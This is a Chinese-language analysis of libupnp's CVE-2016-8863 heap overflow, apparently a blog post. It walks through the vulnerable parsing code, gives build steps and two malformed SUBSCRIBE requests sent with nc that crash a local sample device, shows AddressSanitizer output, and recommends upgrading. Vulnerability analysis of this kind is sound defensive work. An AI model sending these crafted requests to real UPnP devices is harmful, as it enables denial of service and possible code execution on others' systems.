1、libupnp问题分析:

(1)问题简述:

根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863。

(2)漏洞原理分析:

该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,由于对输入数据未进行有效检验,造成对缓冲区溢出,可以导致服务器拒绝服务或崩溃;攻击者也可以精心制造一个攻击URL,通过subscribe request的callback header来执行任意代码。

问题主要出现在下列这个for循环中,这个循环主要是解析订阅请求的Callback头里的URL列表,如果return_code == UPNP_E_OUTOF_MEMORY或者temp.hostport.text.size == 0,那么urlcount变量不会增加。

如果提供了2个URL,第一个被正确解析,第二个没有,此时URLcount会等于1并且跳出循环。

  1. for( i = 0; i < URLS->size; i++ ) {
  2.  
  3. if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
  4.  
  5. if( ( ( return_code = parse_uri( &URLS->buff[i + 1],
  6.  
  7. URLS->size - i + 1,
  8.  
  9. &temp ) ) == HTTP_SUCCESS )
  10.  
  11. && ( temp.hostport.text.size != 0 ) ) {
  12.  
  13. URLcount++;
  14.  
  15. } else {
  16.  
  17. if( return_code == UPNP_E_OUTOF_MEMORY ) {
  18.  
  19. return return_code;
  20.  
  21. }
  22.  
  23. }
  24.  
  25. }
  26.  
  27. }

下一段代码是溢出实际发生的地方。第一个条件为真是因为urlcount 1,接下来,分配一个缓冲区(out URL)来保存原始URI字符串的副本。然后,分配一个url_type类型的数组去存储每一个URL解析出来的具体内容。此时该数组的大小是1,因为urlcount=1;        但是问题是for循环将会再次解析原始字符串,

这两个循环的唯一区别就是解析的URL存储在连续的索引中,而不是一个连续变量里。因此,当它解析第二个URI时,它将- > parsedURLs[1]的值传给parse_uri()函数,这是函数传递的一个数组结尾的地址。当parse_uri()填充该结构的值时,数组的地址就会被写入。

  1.    
  1. if( URLcount > 0 ) {
  2. out->URLs = malloc(URLS->size + 1);
  3.  
  4. out->parsedURLs = malloc(sizeof(uri_type) * URLcount);
  5.  
  6. // omitted for readability
  7.  
  8. memcpy( out->URLs, URLS->buff, URLS->size );
  9.  
  10. out->URLs[URLS->size] = 0;
  11.  
  12. URLcount = 0;
  13.  
  14. for( i = 0; i < URLS->size; i++ ) {
  15.  
  16. if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
  17.  
  18. if( ( ( return_code =
  19.  
  20. parse_uri( &out->URLs[i + 1], URLS->size - i + 1,
  21.  
  22. &out->parsedURLs[URLcount] ) ) ==
  23.  
  24. HTTP_SUCCESS )
  25.  
  26. && ( out->parsedURLs[URLcount].hostport.text.size !=
  27.  
  28. 0 ) ) {
  29.  
  30. URLcount++;
  31.  
  32. } else {
  33.  
  34. if( return_code == UPNP_E_OUTOF_MEMORY ) {
  35.  
  36. free( out->URLs );
  37.  
  38. free( out->parsedURLs );
  39.  
  40. out->URLs = NULL;
  41.  
  42. out->parsedURLs = NULL;
  43.  
  44. return return_code;
  45.  
  46. }
  47.  
  48. }
  49.  
  50. }
  51.  
  52. }
  53.  
  54. }

根据恶意URI的格式不同,会导致不同的问题。有时,overwrite没有明显的影响,有时它会使程序崩溃。至少,可以实现拒绝服务攻击,也可以将其用于远程代码执行。

(赵学鹏 2017.9.22)

(3)漏洞Poc脚本

First, compile for 32-bit with debugging enabled and an installation directory set. The reason for the setting the installation directory and compiling for 32-bits is so that “make install” results in a single binary that is easy to debug.

.

  1. /configure --prefix=<install dir> --enable-debug --host=i686-linux-gnu CFLAGS="-m32 -fno-omit-frame-pointer" LDFLAGS=-m32
  2.  
  3. make clean;make install

To setup the default sample, which emulates a TV device, do the following from the libupnp directory:

  1. cd upnp/sample
  2.  
  3. mkdir tvdevice
  4.  
  5. cp -r web tvdevice

To run the sample change to the directory you just created and run the binary:

  1. cd tvdevice
  2.  
  3. ../.libs/tv_device

With the sample running go to another terminal window. Enter the following to create a non-malicious subscription message:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153>\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

One form of a malicious message will crash the application is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><http://a:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Another is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><//:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Below is the output of address sanitizer from either of the two requests above (add “-fsanitize=address” to CFLAGS during configure).

  1. =================================================================
  2.  
  3. ==13048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xeef07710 at pc 0xf698b0c3 bp 0xf1463998 sp 0xf1463988
  4.  
  5. WRITE of size 4 at 0xeef07710 thread T8
  6.  
  7. #0 0xf698b0c2 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x460c2)
  8.  
  9. #1 0xf698cb13 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x47b13)
  10.  
  11. #2 0xf6992e1c (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4de1c)
  12.  
  13. #3 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
  14.  
  15. #4 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
  16.  
  17. #5 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
  18.  
  19. #6 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
  20.  
  21. #7 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
  22.  
  23. #8 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
  24.  
  25. #9 0xf69f13bc (/usr/lib/libasan.so.0.0.0+0xa3bc)
  26.  
  27. #10 0xf68feb2b (/usr/lib/libpthread-2.17.so+0x6b2b)
  28.  
  29. #11 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
  30.  
  31. 0xeef07710 is located 8 bytes to the right of 168-byte region [0xeef07660,0xeef07708)
  32.  
  33. allocated by thread T8 here:
  34.  
  35. #0 0xf69fe45f (/usr/lib/libasan.so.0.0.0+0x1745f)
  36.  
  37. #1 0xf69928da (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4d8da)
  38.  
  39. #2 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
  40.  
  41. #3 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
  42.  
  43. #4 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
  44.  
  45. #5 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
  46.  
  47. #6 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
  48.  
  49. #7 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
  50.  
  51. #8 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
  52.  
  53. Thread T8 created by T0 here:
  54.  
  55. #0 0xf69f12ca (/usr/lib/libasan.so.0.0.0+0xa2ca)
  56.  
  57. #1 0xf693be13 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5e13)
  58.  
  59. #2 0xf693c882 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x6882)
  60.  
  61. #3 0xf6967c74 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x22c74)
  62.  
  63. #4 0xf69a2aee (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5daee)
  64.  
  65. #5 0xf69a2d2d (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5dd2d)
  66.  
  67. #6 0x804fc17 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x804fc17)
  68.  
  69. #7 0x805056c (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x805056c)
  70.  
  71. #8 0x8050631 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x8050631)
  72.  
  73. #9 0xf6754942 (/usr/lib/libc-2.17.so+0x19942)

(4)漏洞修复

  Libupnp官方升级日志中显示在Version 1.6.21中修复了此漏洞:

  建议设备对libupnoSDK版本升级到1.6.21以上

http://pupnp.sourceforge.net/

CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc的更多相关文章

  1. TP-Link TL-WR841N v14 CVE-2019-17147 缓冲区溢出漏洞分析笔记v2018.12.31

    0x00 背景 Httpd服务中的缓冲区溢出漏洞 复现参考文章https://www.4hou.com/posts/gQG9 Binwalk -Me 解压缩 File ./bin/busybox文件类 ...

  2. cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析

    用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试    Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...

  3. CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析

    漏洞简述   Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件.        Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...

  4. CVE-2010-2883Adobe Reader和Acrobat CoolType.dll栈缓冲区溢出漏洞分析

       Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器. 基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x ...

  5. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  6. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  7. SEED信息安全实验系列:缓冲区溢出漏洞实验

    缓冲区溢出漏洞实验 本课程详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情 ...

  8. Nagios Core/Icinga 基于栈的缓冲区溢出漏洞

    漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...

  9. Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞

    漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...

随机推荐

  1. 深入理解ASP.NET MVC(4)

    系列目录 DataTokens和Areas机制 到目前为止Route对象只剩下DataTokens属性没有涉及,事实上这个Areas机制的核心. DataTokens实际上也是一个RouteValue ...

  2. hadoop入门篇---超详细hadoop服务器环境配置教程

    虚拟机以及Linux系统安装在之前的两篇分享中已经详细的介绍了方法,并且每一步的都配图了.如果有朋友还是看不懂,那我也爱莫能助了.本篇主要就hadoop服务器操作系统配置进行详细说明,hadoop安装 ...

  3. JZ2440 裸机驱动 第12章 I2C接口

    本章目标: 了解I2C总线协议: 掌握S3C2410/S3C2440中I2C接口的使用方法: 12.1 I2C总线协议及硬件介绍 12.1.1 I2C总线协议 1 I2C总线的概念 2 I2C总线的信 ...

  4. WPF Demo7

    没有Path/Source的数据绑定 本地local资源用法 namespace Demo9 { public class Student { private string name; public ...

  5. thinkphp.2 thinkphp5微信支付 微信公众号支付 thinkphp 微信扫码支付 thinkphp 微信企业付款5

    前面已经跑通了微信支付的流程,接下来吧微信支付和微信企业付款接入到thinkphp中,版本是3.2 把微信支付类.企业付款类整合到一起放到第三方类库,这里我把微信支付帮助类和企业付款类放到同一个文件了 ...

  6. 关于 ake sure class name exists, is public, and has an empty constructor that is public

    解决方法:自定义的fragment最好有一个Public的参数为空的构造函数,若需要传入一个参数,可以使用下面的方法 public FileViewFragment(){ } public stati ...

  7. ALGO-3_蓝桥杯_算法训练_K好数(DP)

    问题描述 如果一个自然数N的K进制表示中任意的相邻的两位都不是相邻的数字,那么我们就说这个数是K好数.求L位K进制数中K好数的数目.例如K = ,L = 2的时候,所有K好数为11...... 共7个 ...

  8. 小峰mybatis(4)mybatis使用注解配置sql映射器

    主流开发还是使用xml来配置:使用注解配置比较快,但是不支持所有功能:有些功能还是得用配置文件: 一.基本映射语句: @Inert @Update @Delete @Select 二.结果集映射语句 ...

  9. js在html文件中的解析顺序

    我们可以将JavaScript代码放在html文件中任何位置,但是我们一般放在网页的head或者body部分. 放在<head>部分 最常用的方式是在页面中head部分放置<scri ...

  10. ASP.NET Web Pages:文件

    ylbtech-.Net-ASP.NET Web Pages:文件 1.返回顶部 1. ASP.NET Web Pages - 文件 本章介绍有关使用文本文件的知识. 使用文本文件 在前面的章节中,我 ...